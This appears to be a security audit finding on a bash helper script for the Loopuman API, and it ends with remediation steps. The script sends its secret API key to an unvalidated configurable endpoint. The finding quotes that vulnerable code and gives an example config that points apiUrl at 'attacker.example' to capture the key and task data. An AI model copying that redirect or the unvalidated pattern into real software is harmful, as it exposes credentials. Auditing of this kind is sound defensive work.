T09 · Insecure Skill Coding Practices
- Location
scripts/loopuman.sh:26- Finding
Unvalidated Configurable API Endpoint Can Expose Credentials and Task Data
- Content
View full analysis
Vulnerability Details
File Location:
scripts/loopuman.sh, lines 26–27 and 34–42
Vulnerability Type: Unvalidated credential-bearing endpoint configuration
Risk Level: MediumVulnerable Code
bash API_KEY=$(jq -r '.apiKey' "$CONFIG_FILE") API_URL=$(jq -r '.apiUrl // "https://api.loopuman.com"' "$CONFIG_FILE") api() { local method="$1" endpoint="$2" shift 2 curl -sf -X "$method" \ -H "x-api-key: $API_KEY" \ -H "Content-Type: application/json" \ "$API_URL$endpoint" "$@" }Technical Analysis
The script reads
apiUrlfrom a configurable JSON file and uses it directly as the destination for all API requests. It does not validate the URL scheme, hostname, port, or destination before attaching the secretx-api-keyheader.Consequently, an attacker who can modify the selected configuration file—or influence the file selected through
LOOPUMAN_CONFIGin the execution environment—can redirect requests to an attacker-controlled service. Commands that send request bodies, particularlycreate, can additionally disclose task titles, descriptions, webhook addresses, budgets, and other task metadata.Allowing arbitrary destinations also permits the script to issue authenticated HTTP requests toward network locations reachable from the host. This creates limited server-side request forgery behavior, although exploitation is constrained to the script's fixed API paths and HTTP methods.
Attack Path
- The attacker gains the ability to modify a Loopuman configuration file or influence
LOOPUMAN_CONFIGin the context where the script runs. - The attacker sets
apiUrlto an attacker-controlled HTTP or HTTPS endpoint, for example:json { "apiKey": "lpm_secret_value", "apiUrl": "https://attacker.example" } - A user or agent invokes
loopuman.sh list,status,create,cancel, orwait. - The
api()function concatenates ...[truncated 1109 chars]
- The attacker gains the ability to modify a Loopuman configuration file or influence
- Remediation
View remediation
Remediation Suggestions
- Pin production requests to the documented API origin:
bash readonly API_URL="https://api.loopuman.com" - If endpoint customization is required for testing, parse and validate the URL before use. Require HTTPS and allow only explicitly trusted hostnames and ports.
- Never attach
x-api-keyto a destination that fails origin validation. - Restrict custom endpoints to an explicit development mode that is disabled by default, and use separate non-production credentials in that mode.
- Validate configuration-file ownership and permissions before reading secrets. Reject files writable by other users and recommend mode
0600:bash chmod 600 ~/.openclaw/skills/loopuman/config.json - Treat
LOOPUMAN_CONFIGas security-sensitive. Ignore it in privileged or untrusted execution contexts, or require that the selected file reside in an approved directory and have trusted ownership. - Rotate the API key immediately if requests may already have been sent to an untrusted endpoint.
- Pin production requests to the documented API origin:
